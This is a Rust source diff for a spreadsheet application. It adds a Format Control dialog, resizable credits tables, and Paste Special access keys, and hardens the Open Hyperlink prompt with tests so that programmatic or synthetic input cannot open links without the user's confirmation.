"horizontal": c.horizontal,
"print": c.print,
"locked": c.locked,
});
let title = if text_only { "Edit Text".to_string() } else { format!("Format Control: {}", c.display_name()) };
Some(Dialog::custom("formatControl", &title, v))
}
fn whole(text: &str) -> Option<u32> {
text.trim().parse::<u32>().ok().filter(|v| *v <= CONTROL_MAX)
}
/// The `control.format` params the dialog describes, or the first problem with them (the same
/// rules the engine checks, so OK is only offered when it will work).
pub fn format_params(app: &SheetApp, d: &Dialog) -> Result<Json, String> {
let id = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).ok_or("The control is gone.")?;
let c = control(app, id).ok_or("The control is gone.")?;
let flag = |k: &str| d.values.get(k).and_then(Json::as_bool).unwrap_or(false);
if d.values.get("textOnly").and_then(Json::as_bool) == Some(true) {
return Ok(json!({"id": id, "text": val(d, "text")}));
}
let mut out = json!({"id": id, "name": val(d, "name"), "print": flag("print"), "locked": flag("locked")});
if c.kind == ControlKind::Button {
out["text"] = json!(val(d, "text"));
return Ok(out);
}
let mut draft = c.clone();
for (key, label, slot) in [
("min", "Minimum value", &mut draft.min),
("max", "Maximum value", &mut draft.max),
("step", "Incremental change", &mut draft.step),
("page", "Page change", &mut draft.page),
] {
if key == "page" && c.kind != ControlKind::Slider {
continue;
}
*slot = whole(&val(d, key)).ok_or_else(|| format!("{label} must be a whole number from 0 to {CONTROL_MAX}."))?;
out[key] = json!(*slot);
}
draft.check_numbers()?;
let value = whole(&val(d, "value")).ok_or_else(|| format!("Current value must be a whole number from 0 to {CONTROL_MAX}."))?;
if value < draft.min || value > draft.max {
return Err(format!("Current value must be between {} and {}.", draft.min, draft.max));
}
out["value"] = json!(value);
out["link"] = json!(val(d, "link").trim());
if c.kind == ControlKind::Slider {
out["horizontal"] = json!(flag("horizontal"));
}
Ok(out)
}
pub fn format_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
let t = Tokens::get(ui.ctx());
let Some(c) = d.values.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok()).and_then(|id| control(app, id)) else {
*open = false;
return;
};
let text_only = d.values.get("textOnly").and_then(Json::as_bool) == Some(true);
if c.kind == ControlKind::Button {
let mut text = val(d, "text");
ui.label("Text:");
ui.add(egui::TextEdit::multiline(&mut text).desired_rows(2).desired_width(f32::INFINITY).id_salt("control_text"));
d.values.insert("text".into(), json!(text));
} else {
egui::Grid::new("format_control_grid").num_columns(2).spacing([12.0, 6.0]).show(ui, |ui| {
let mut fields = vec![("value", "Current value:"), ("min", "Minimum value:"), ("max", "Maximum value:"), ("step", "Incremental change:")];
if c.kind == ControlKind::Slider {
fields.push(("page", "Page change:"));
}
fields.push(("link", "Cell link:"));
for (key, label) in fields {
ui.label(label);
text_field(ui, d, key, if key == "link" { 160.0 } else { 90.0 });
ui.end_row();
}
});
if c.kind == ControlKind::Slider {
let mut h = d.values.get("horizontal").and_then(Json::as_bool).unwrap_or(true);
ui.horizontal(|ui| {
ui.label("Orientation:");
ui.radio_value(&mut h, true, "Horizontal");
ui.radio_value(&mut h, false, "Vertical");
});
d.values.insert("horizontal".into(), json!(h));
}
}
if !text_only {
ui.add_space(4.0);
ui.horizontal(|ui| {
ui.label("Name:");
let mut name = val(d, "name");
ui.add(egui::TextEdit::singleline(&mut name).hint_text(c.display_name()).desired_width(200.0).id_salt("control_name"));
d.values.insert("name".into(), json!(name));
});
for (key, label) in [("locked", "Locked (when the sheet is protected)"), ("print", "Print object")] {
let mut on = d.values.get(key).and_then(Json::as_bool).unwrap_or(true);
ui.checkbox(&mut on, label);
d.values.insert(key.into(), json!(on));
}
}
let params = format_params(app, d);
if let Err(p) = &params {
ui.label(egui::RichText::new(p).color(t.danger));
}
let (ok, cancel) = ok_cancel(ui, params.is_ok());
if cancel {
*open = false;
}
if ok && let Ok(p) = params {
match app.run("control.format", p) {
Ok(_) => *open = false,
Err(e) => app.message = Some(("Format Control".into(), crate::clean_error(&e))),
}
}
}
+325 -50
View File
@@ -244,12 +244,17 @@ pub fn contributors_ui(ui: &mut egui::Ui) {
let list = sorted(CONTRIBUTORS, v.names, v.key, v.ascending);
ui.label(RichText::new(format!("{} contributors · {} commits", list.len(), group(TOTAL_COMMITS))).small().weak());
ui.separator();
egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
if list.is_empty() {
ui.label("No contributor data was built into this copy.");
} else if v.table {
table(ui, &list, &mut v);
} else {
if list.is_empty() {
ui.label("No contributor data was built into this copy.");
} else if v.table {
// The table scrolls vertically itself, under a fixed header; it only scrolls sideways
// once its columns are dragged wider than the dialog.
ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| {
ui.set_max_height(340.0);
egui::ScrollArea::horizontal().auto_shrink([false, false]).show(ui, |ui| table(ui, &list, &mut v));
});
} else {
egui::ScrollArea::vertical().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
ui.horizontal_wrapped(|ui| {
for (i, c) in list.iter().enumerate() {
if i > 0 {
@@ -258,39 +263,153 @@ pub fn contributors_ui(ui: &mut egui::Ui) {
ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary());
}
});
}
});
});
}
ui.data_mut(|d| d.insert_temp(id, v));
}
fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) {
egui::Grid::new("credits_table").striped(true).num_columns(SortKey::ALL.len()).show(ui, |ui| {
for k in SortKey::ALL {
let arrow = if v.key == k { if v.ascending { " ▲" } else { " ▼" } } else { "" };
if ui.button(RichText::new(format!("{}{arrow}", k.label().1)).strong()).on_hover_text(k.label().0).clicked() {
if v.key == k {
v.ascending = !v.ascending;
} else {
v.key = k;
v.ascending = k.default_ascending();
}
/// How the contributor table's spare width is shared out: all of it to Name.
const CONTRIBUTOR_GROW: [f32; 10] = [1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0];
/// How the model table's spare width is shared out: to Company and Model, the text columns.
const MODEL_GROW: [f32; 6] = [1.0, 2.0, 0.0, 0.0, 0.0, 0.0];
/// The narrowest a column can be dragged.
const MIN_COLUMN: f32 = 28.0;
/// The width a column needs for its header and its widest cell.
fn natural(ui: &egui::Ui, header: RichText, cells: impl Iterator<Item = String>) -> f32 {
let measure = |text: egui::WidgetText| text.into_galley(ui, Some(egui::TextWrapMode::Extend), f32::INFINITY, egui::TextStyle::Body).size().x;
let widest = cells.map(|c| measure(c.into())).fold(measure(header.into()), f32::max);
widest + 2.0 * ui.spacing().button_padding.x
}
/// Opening column widths: each column's natural width, with the spare room shared out by `grow`,
/// so the columns fill `room` exactly. When there is too little room, only the growing columns
/// give way, each in proportion to its width above [`MIN_COLUMN`], and none goes below that.
fn fit_widths(natural: &[f32], grow: &[f32], room: f32) -> Vec<f32> {
let spare = room - natural.iter().sum::<f32>();
let weight = grow.iter().sum::<f32>();
let slack = |w: f32| (w - MIN_COLUMN).max(0.0);
let flexible: f32 = natural.iter().zip(grow).filter(|(_, g)| **g > 0.0).map(|(w, _)| slack(*w)).sum();
natural
.iter()
.zip(grow)
.map(|(w, g)| {
if *g > 0.0 && spare >= 0.0 {
w + spare * g / weight
} else if *g > 0.0 && flexible > 0.0 {
w - (-spare).min(flexible) * slack(*w) / flexible
} else {
*w
}
}
ui.end_row();
for c in list {
ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary());
ui.label(group(c.prs));
ui.label(group(c.commits));
ui.label(group(c.lines_added));
ui.label(group(c.lines_deleted));
ui.label(signed(c.lines_delta()));
ui.label(group(c.binary_added));
ui.label(group(c.binary_deleted));
ui.label(day(c.first_commit));
ui.label(day(c.last_commit));
ui.end_row();
}
});
})
.collect()
}
/// A striped table whose columns open at [`fit_widths`], so it fills the width and nothing scrolls
/// sideways. Every column, the last included, can be dragged wider or narrower at its right edge:
/// only a table dragged wider than the window scrolls sideways. Text too long for its column is
/// clipped. When a column's natural width or the window changes, the columns go back to a new fit,
/// dropping any dragged widths.
fn fitted_table<'a>(ui: &'a mut egui::Ui, id: &str, natural: &[f32], grow: &[f32]) -> egui_extras::TableBuilder<'a> {
// Every cell is followed by the item gap, and the vertical scrollbar keeps its margins.
let s = ui.spacing();
let gaps = s.item_spacing.x * natural.len() as f32;
let bar = s.scroll.bar_width + s.scroll.bar_inner_margin + s.scroll.bar_outer_margin;
let widths = fit_widths(natural, grow, (ui.available_width() - gaps - bar).max(0.0));
// The table keeps its own column widths, so a change in what they were fitted to has to clear
// them. A longer name can leave the fit itself unchanged, and scrolling can nudge the available
// width, so this compares the natural widths and the clip rect, which scrolling never moves.
let fit = egui::Id::unique(("credits_fit", id));
let measured = (natural.to_vec(), ui.clip_rect().width());
let refit = ui.data_mut(|d| d.get_temp::<(Vec<f32>, f32)>(fit)).as_ref() != Some(&measured);
ui.data_mut(|d| d.insert_temp(fit, measured));
let mut t =
egui_extras::TableBuilder::new(ui).id_salt(id).striped(true).resizable(true).auto_shrink([false, false]).max_scroll_height(f32::INFINITY);
if refit {
t.reset();
}
for w in widths {
t = t.column(egui_extras::Column::initial(w).at_least(MIN_COLUMN).clip(true));
}
t
}
/// Add a cell's widget right-aligned (counts, dates) or left-aligned (names), vertically centred.
fn aligned<R>(ui: &mut egui::Ui, right: bool, add: impl FnOnce(&mut egui::Ui) -> R) -> R {
let layout = if right { egui::Layout::right_to_left(egui::Align::Center) } else { egui::Layout::left_to_right(egui::Align::Center) };
ui.with_layout(layout, add).inner
}
fn row_height(ui: &egui::Ui) -> f32 {
ui.text_style_height(&egui::TextStyle::Body) + 6.0
}
/// One contributor's table cells after the name, in `SortKey::ALL` order.
fn cells(c: &Contributor) -> [String; 9] {
[
group(c.prs),
group(c.commits),
group(c.lines_added),
group(c.lines_deleted),
signed(c.lines_delta()),
group(c.binary_added),
group(c.binary_deleted),
day(c.first_commit).to_string(),
day(c.last_commit).to_string(),
]
}
/// A contributor-table header. The sorted column is highlighted; its direction shows on the
/// toolbar's sort-order button, so no arrow widens the column.
fn header_text(k: SortKey) -> RichText {
RichText::new(k.label().1).strong()
}
fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) {
let h = row_height(ui);
let rows: Vec<[String; 9]> = list.iter().map(|c| cells(c)).collect();
let widths: Vec<f32> = SortKey::ALL
.iter()
.enumerate()
.map(|(i, &k)| match i.checked_sub(1) {
None => natural(ui, header_text(k), list.iter().map(|c| c.name(v.names))),
Some(col) => natural(ui, header_text(k), rows.iter().filter_map(|r| r.get(col).cloned())),
})
.collect();
fitted_table(ui, "credits_table", &widths, &CONTRIBUTOR_GROW)
.header(h + 4.0, |mut header| {
for k in SortKey::ALL {
header.col(|ui| {
let r = aligned(ui, k != SortKey::Name, |ui| ui.selectable_label(v.key == k, header_text(k))).on_hover_text(k.label().0);
if r.clicked() {
if v.key == k {
v.ascending = !v.ascending;
} else {
v.key = k;
v.ascending = k.default_ascending();
}
}
});
}
})
.body(|mut body| {
for (c, cells) in list.iter().zip(rows) {
body.row(h, |mut row| {
row.col(|ui| {
aligned(ui, false, |ui| ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)))
.on_hover_text(c.summary());
});
for text in cells {
row.col(|ui| {
aligned(ui, true, |ui| ui.label(text));
});
}
});
}
});
}
/// About ▸ Models: AI models credited in Co-Authored-By trailers.
@@ -300,21 +419,50 @@ pub fn models_ui(ui: &mut egui::Ui) {
return;
}
let assisted: u64 = MODELS.iter().map(|m| m.commits).max().unwrap_or(0).max(1);
egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| {
egui::Grid::new("credits_models").striped(true).num_columns(6).show(ui, |ui| {
for h in ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"] {
ui.label(RichText::new(h).strong());
}
ui.end_row();
for m in MODELS {
ui.label(m.company);
ui.label(m.model);
ui.label(m.version);
ui.label(group(m.commits));
ui.label(format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64));
ui.label(format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted)));
ui.end_row();
}
let h = row_height(ui);
let titles = ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"];
// Company, Model and Version read as text; the counts line up on the right.
let right = [false, false, false, true, true, true];
let rows: Vec<[String; 6]> = MODELS
.iter()
.map(|m| {
[
m.company.to_string(),
m.model.to_string(),
m.version.to_string(),
group(m.commits),
format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64),
format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted)),
]
})
.collect();
let widths: Vec<f32> = titles
.iter()
.enumerate()
.map(|(i, title)| natural(ui, RichText::new(*title).strong(), rows.iter().filter_map(|r| r.get(i).cloned())))
.collect();
ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| {
ui.set_max_height(340.0);
egui::ScrollArea::horizontal().id_salt("credits_models").auto_shrink([false, false]).show(ui, |ui| {
fitted_table(ui, "credits_models", &widths, &MODEL_GROW)
.header(h + 4.0, |mut header| {
for (title, r) in titles.into_iter().zip(right) {
header.col(|ui| {
aligned(ui, r, |ui| ui.label(RichText::new(title).strong()));
});
}
})
.body(|mut body| {
for cells in rows {
body.row(h, |mut row| {
for (text, r) in cells.into_iter().zip(right) {
row.col(|ui| {
aligned(ui, r, |ui| ui.label(text));
});
}
});
}
});
});
});
}
@@ -395,4 +543,131 @@ mod tests {
assert_eq!(day("2026-10-07T18:45:23Z"), "2026-10-07");
assert_eq!(day(""), "—");
}
#[test]
fn columns_fill_the_room_and_spare_width_goes_to_growing_columns() {
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 300.0), [200.0, 40.0, 60.0]);
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 2.0, 0.0], 230.0), [110.0, 60.0, 60.0]);
let w = fit_widths(&[123.0, 45.5, 67.25], &[1.0, 0.0, 2.0], 512.0);
assert!((w.iter().sum::<f32>() - 512.0).abs() < 0.01, "a fitted table neither scrolls nor leaves a gap: {w:?}");
}
#[test]
fn too_little_room_shrinks_only_growing_columns() {
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 150.0), [50.0, 40.0, 60.0]);
assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 0.0), [MIN_COLUMN, 40.0, 60.0]);
assert_eq!(fit_widths(&[100.0, 40.0], &[0.0, 0.0], 50.0), [100.0, 40.0]);
}
#[test]
fn a_column_at_the_minimum_leaves_the_shortfall_to_the_others() {
let w = fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 140.0);
assert!((w.iter().sum::<f32>() - 140.0).abs() < 0.01, "the columns still fit the room: {w:?}");
assert!(w.iter().all(|c| *c >= MIN_COLUMN), "no column goes below the minimum: {w:?}");
assert_eq!(fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 0.0), [MIN_COLUMN, MIN_COLUMN, 50.0]);
}
const WINDOW: f32 = 640.5;
const NATURAL: [f32; 3] = [120.0, 80.0, 80.0];
const GROW: [f32; 3] = [1.0, 0.0, 0.0];
/// One frame of a table long enough to scroll; the rects of its header cells.
fn table_frame(ctx: &egui::Context, width: f32, natural: &[f32], events: Vec<egui::Event>) -> Vec<egui::Rect> {
scrolled_frame(ctx, width, natural, 0.0, events)
}
/// [`table_frame`], scrolled `offset` points sideways.
fn scrolled_frame(ctx: &egui::Context, width: f32, natural: &[f32], offset: f32, events: Vec<egui::Event>) -> Vec<egui::Rect> {
let screen_rect = Some(egui::Rect::from_min_size(egui::Pos2::ZERO, egui::vec2(width, 300.0)));
let raw = egui::RawInput { screen_rect, events, ..Default::default() };
let mut cells = Vec::new();
let out = ctx.run_ui(raw, |ui| {
cells.clear();
egui::ScrollArea::horizontal().auto_shrink([false, false]).horizontal_scroll_offset(offset).show(ui, |ui| {
fitted_table(ui, "test", natural, &GROW)
.header(20.0, |mut header| {
for _ in natural {
header.col(|ui| cells.push(ui.max_rect()));
}
})
.body(|mut body| {
for _ in 0..40 {
body.row(20.0, |mut row| {
for _ in natural {
row.col(|ui| {
ui.label("x");
});
}
});
}
});
});
});
out.drop_without_applying_deltas();
cells
}
/// A new context with the table open and settled, and the rects of its header cells.
fn opened_table() -> (egui::Context, Vec<egui::Rect>) {
let ctx = egui::Context::default();
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
let cells = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
(ctx, cells)
}
/// Drags a column's right edge, which runs midway through the gap after `cell`, then lets go.
fn drag_edge(ctx: &egui::Context, cell: egui::Rect, by: f32) {
use egui::{Event, Modifiers, PointerButton};
let start = egui::pos2(cell.right() + 4.0, cell.center().y);
let halfway = start + egui::vec2(by / 2.0, 0.0);
let end = start + egui::vec2(by, 0.0);
let moved = Event::PointerMoved;
let button = |pos, pressed| Event::PointerButton { pos, button: PointerButton::Primary, pressed, modifiers: Modifiers::NONE };
for event in [moved(start), button(start, true), moved(halfway), moved(end), button(end, false)] {
table_frame(ctx, WINDOW, &NATURAL, vec![event]);
}
}
#[test]
fn every_column_can_be_dragged_at_its_right_edge_and_stays_there() {
let (_, opened) = opened_table();
for (dragged, cell) in opened.iter().enumerate() {
let (ctx, _) = opened_table();
drag_edge(&ctx, *cell, -30.0);
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
let after = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
for (column, (was, now)) in opened.iter().zip(&after).enumerate() {
let want = if column == dragged { was.width() - 30.0 } else { was.width() };
assert!((now.width() - want).abs() < 1.0, "dragging column {dragged}: column {column} is {now:?}, was {was:?}");
}
}
}
#[test]
fn a_changed_fit_replaces_the_column_widths() {
let (ctx, opened) = opened_table();
drag_edge(&ctx, opened[0], -30.0);
let longer_name = table_frame(&ctx, WINDOW, &[200.0, 80.0, 80.0], Vec::new());
assert!((longer_name[0].width() - opened[0].width()).abs() < 1.0, "a longer name drops a dragged width: {longer_name:?}");
let wider = table_frame(&ctx, WINDOW, &[120.0, 200.0, 80.0], Vec::new());
let widths: Vec<f32> = wider.iter().map(|c| c.width().round()).collect();
assert!(widths.ends_with(&[200.0, 80.0]), "a longer cell widens its column: {widths:?}");
assert!(wider[2].right() < WINDOW, "the table still fits the window: {wider:?}");
let narrower = table_frame(&ctx, 400.0, &NATURAL, Vec::new());
assert!(narrower[2].right() < 400.0, "a narrower window refits the table: {narrower:?}");
}
#[test]
fn scrolling_sideways_keeps_dragged_widths() {
let (ctx, opened) = opened_table();
drag_edge(&ctx, opened[0], 100.0);
table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
let dragged = table_frame(&ctx, WINDOW, &NATURAL, Vec::new());
assert!((dragged[0].width() - opened[0].width() - 100.0).abs() < 1.0, "the drag took: {dragged:?}");
for offset in [13.3, 27.77, 41.1, 0.6] {
scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new());
let scrolled = scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new());
assert!((scrolled[0].width() - dragged[0].width()).abs() < 1.0, "scrolled {offset}: {scrolled:?}");
}
}
}
+74 -11
View File
@@ -74,6 +74,9 @@ pub struct Dialog {
picture_target: Option<(u64, usize)>,
/// The dialog this one was opened from (Name Manager › New…): it comes back when this closes.
back: Option<Box<Dialog>>,
/// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so
/// `ui.dialog.set` can't swap it behind the text the user reads (#2181).
link: Option<String>,
pub(crate) focus_initialized: bool,
/// The formula box that takes references clicked or dragged on the grid (New Formatting Rule).
pick: Option<RefPick>,
@@ -224,6 +227,7 @@ impl Dialog {
picture_inbox: None,
picture_target: None,
back: None,
link: None,
focus_initialized: false,
pick: None,
original_link_text: None,
@@ -248,6 +252,7 @@ impl Dialog {
picture_inbox: None,
picture_target: None,
back: None,
link: None,
focus_initialized: false,
pick: None,
original_link_text: None,
@@ -529,19 +534,18 @@ impl Dialog {
json!({"text": existing}),
)
}
// Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which
// refuses anything but http, https and mailto.
// Asks before a web or e-mail link leaves the workbook. OK opens it through
// `Session::open_confirmed_link` (which refuses anything but http, https and mailto),
// not a command: `link.open` refuses web addresses for programmatic callers, and a
// dialog without a command can't be confirmed over the control channel (#2181).
"openLink" => {
let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string();
Dialog::form(
"openLink",
"Open Hyperlink",
"link.open",
vec![Note(format!(
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
))],
json!({"url": url}),
)
let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url}));
d.fields = vec![Note(format!(
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
))];
d.link = Some(url);
d
}
"insertLink" => {
let mut d = Dialog::form(
@@ -564,6 +568,8 @@ impl Dialog {
d.values.insert("text".into(), json!(text));
d.values.insert("tooltip".into(), json!(link.tooltip));
d.original_link_text = Some(text);
// As in Excel, the dialog on a linked cell edits that link.
d.title = "Edit Hyperlink".into();
}
d
}
@@ -1089,6 +1095,9 @@ impl Dialog {
dialog
}
"pickList" => Dialog::custom("pickList", "Pick From List", json!({})),
"assignAction" => return crate::control_ui::open_assign(app, &params),
"formatControl" => return crate::control_ui::open_format(app, &params),
"controlQuestion" => return crate::control_ui::open_question(&params),
"saveCopy" => Dialog::custom("saveCopy", "Save a Copy", json!({"format": p("format")})),
"saveChanges" => Dialog::custom("saveChanges", "Save Changes?", json!({"title": p("title"), "quit": p("quit")})),
"start" => Dialog::custom("start", "GridCraft", json!({})),
@@ -1161,6 +1170,60 @@ mod tests {
assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some());
}
/// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command
/// the control channel could confirm, and its OK opens exactly the address it showed.
#[test]
fn open_hyperlink_opens_only_the_address_the_user_confirmed() {
use show::open_confirmed_link;
use std::{cell::RefCell, rc::Rc};
let opened = Rc::new(RefCell::new(Vec::<String>::new()));
let sink = opened.clone();
let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
let mut session = gridcraft_engine::Session::default();
session.new_workbook();
let mut app = SheetApp::new(session, services);
assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err());
app.after_engine();
assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing");
assert!(app.dialog.is_none(), "and opens no dialog");
let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user");
// A value edited behind the prompt's text is ignored: OK opens what the user read.
d.set_value("url", json!("https://attacker.example/?d=secret"));
open_confirmed_link(&mut app, &d).unwrap();
assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap();
assert!(open_confirmed_link(&mut app, &bad).is_err());
assert_eq!(opened.borrow().len(), 1);
}
/// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click`
/// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link.
#[test]
fn synthetic_input_cannot_confirm_open_hyperlink() {
use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link};
use std::{cell::RefCell, rc::Rc};
let opened = Rc::new(RefCell::new(Vec::<String>::new()));
let sink = opened.clone();
let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
let mut session = gridcraft_engine::Session::default();
session.new_workbook();
let mut app = SheetApp::new(session, services);
let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
app.synthetic_pending = true;
assert!(!confirm_open_link(&mut app, &d), "the prompt stays open");
assert!(opened.borrow().is_empty(), "synthetic input opens nothing");
assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM));
app.synthetic_pending = false;
app.message = None;
assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt");
assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
}
#[test]
fn data_validation_without_a_rule_opens_on_a_blank_list() {
let mut session = gridcraft_engine::Session::default();
+15 -1
View File
@@ -40,7 +40,21 @@ pub(super) fn find(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog) {
d.values.insert("matchCase".into(), json!(case));
d.values.insert("wholeCell".into(), json!(whole));
d.values.insert("within".into(), json!(if wb { "workbook" } else { "sheet" }));
let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": if wb { "workbook" } else { "sheet" }});
// As in Excel, a selected range (more than one cell) limits the search on the sheet to it.
// One selected cell, merged or not, searches the sheet, as in Excel.
let range_selected = app.session.active().is_some_and(|doc| {
let sel = &doc.selection;
let one_merged = sel.ranges.len() == 1 && doc.wb.active().and_then(|sh| sh.merge_at(sel.current().start)).is_some_and(|m| m == sel.current());
!sel.is_single_cell() && !one_merged
});
let within = if wb {
"workbook"
} else if range_selected {
"selection"
} else {
"sheet"
};
let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": within});
ui.horizontal(|ui| {
if d.tab == "Replace" {
if ui.button("Replace All").clicked() {
+55 -20
View File
@@ -5,6 +5,8 @@ use super::{Dialog, Field, Json, Key, SheetApp, Stroke, json, theme, vec2};
/// come from the dialog's `fields`, so the letter shortcuts and the control channel see the same.
pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) {
let lang = app.ui.language;
// L, the Paste Link button's access key, pastes at once as the button does.
let link_now = d.values.remove(PASTE_LINK_NOW).is_some_and(|v| v == json!(true));
let t = theme::Tokens::get(ui.ctx());
type Choice = (&'static str, &'static str, Vec<(&'static str, &'static str)>);
let choices: Vec<Choice> = d
@@ -56,7 +58,7 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo
ui.separator();
ui.horizontal(|ui| {
// Excel's Paste Link pastes references to the copied cells straight away.
if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() {
if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() || link_now {
d.values.insert("what".into(), json!("all"));
d.values.insert("operation".into(), json!("none"));
d.values.insert("link".into(), json!(true));
@@ -74,6 +76,45 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo
});
}
/// Set by the Paste Link access key for the next frame of the dialog, which then pastes.
const PASTE_LINK_NOW: &str = "pasteLinkNow";
/// What one of Paste Special's access keys does: choose an option of a group, or flip a box.
#[derive(Clone, Copy)]
enum Mnemonic {
Set(&'static str, &'static str),
Toggle(&'static str),
/// The Paste Link button: pastes at once.
PasteLink,
}
/// Excel's access keys in Paste Special (#1482): the Paste choices, the operations, the two check
/// boxes and the Paste Link button, each the letter Excel underlines.
fn mnemonic_action(key: Key) -> Option<(char, Mnemonic)> {
use Mnemonic::{Set, Toggle};
Some(match key {
Key::A => ('a', Set("what", "all")),
Key::F => ('f', Set("what", "formulas")),
Key::V => ('v', Set("what", "values")),
Key::T => ('t', Set("what", "formats")),
Key::C => ('c', Set("what", "comments")),
Key::N => ('n', Set("what", "validation")),
Key::X => ('x', Set("what", "allExceptBorders")),
Key::W => ('w', Set("what", "columnWidths")),
Key::R => ('r', Set("what", "formulasAndNumberFormats")),
Key::U => ('u', Set("what", "valuesAndNumberFormats")),
Key::O => ('o', Set("operation", "none")),
Key::D => ('d', Set("operation", "add")),
Key::S => ('s', Set("operation", "subtract")),
Key::M => ('m', Set("operation", "multiply")),
Key::I => ('i', Set("operation", "divide")),
Key::B => ('b', Toggle("skipBlanks")),
Key::E => ('e', Toggle("transpose")),
Key::L => ('l', Mnemonic::PasteLink),
_ => return None,
})
}
/// Paste Special's legacy mnemonics select options; Enter still performs the paste.
pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) {
if ctx.text_edit_focused() {
@@ -88,14 +129,7 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) {
});
let mac = ctx.os() == egui::os::OperatingSystem::Mac;
let allowed = |m: egui::Modifiers| !m.ctrl && !m.command && !m.mac_cmd && !(m.alt && (mac || right_alt));
let mnemonic = |key| match key {
Key::T => Some('t'),
Key::V => Some('v'),
Key::F => Some('f'),
Key::C => Some('c'),
Key::E => Some('e'),
_ => None,
};
let mnemonic = |key| mnemonic_action(key).map(|(letter, _)| letter);
let mut text_to_consume = Vec::new();
for event in ctx.input(|i| i.events.clone()) {
let egui::Event::Key { key, pressed: true, repeat, modifiers, .. } = event else { continue };
@@ -107,17 +141,18 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) {
if repeat {
continue;
}
if key == Key::E {
let transpose = d.values.get("transpose").and_then(Json::as_bool).unwrap_or(false);
d.values.insert("transpose".into(), json!(!transpose));
} else {
let what = match key {
Key::T => "formats",
Key::V => "values",
Key::F => "formulas",
_ => "comments",
};
d.values.insert("what".into(), json!(what));
match mnemonic_action(key).map(|(_, action)| action) {
Some(Mnemonic::Set(field, value)) => {
d.values.insert(field.into(), json!(value));
}
Some(Mnemonic::Toggle(field)) => {
let on = d.values.get(field).and_then(Json::as_bool).unwrap_or(false);
d.values.insert(field.into(), json!(!on));
}
Some(Mnemonic::PasteLink) => {
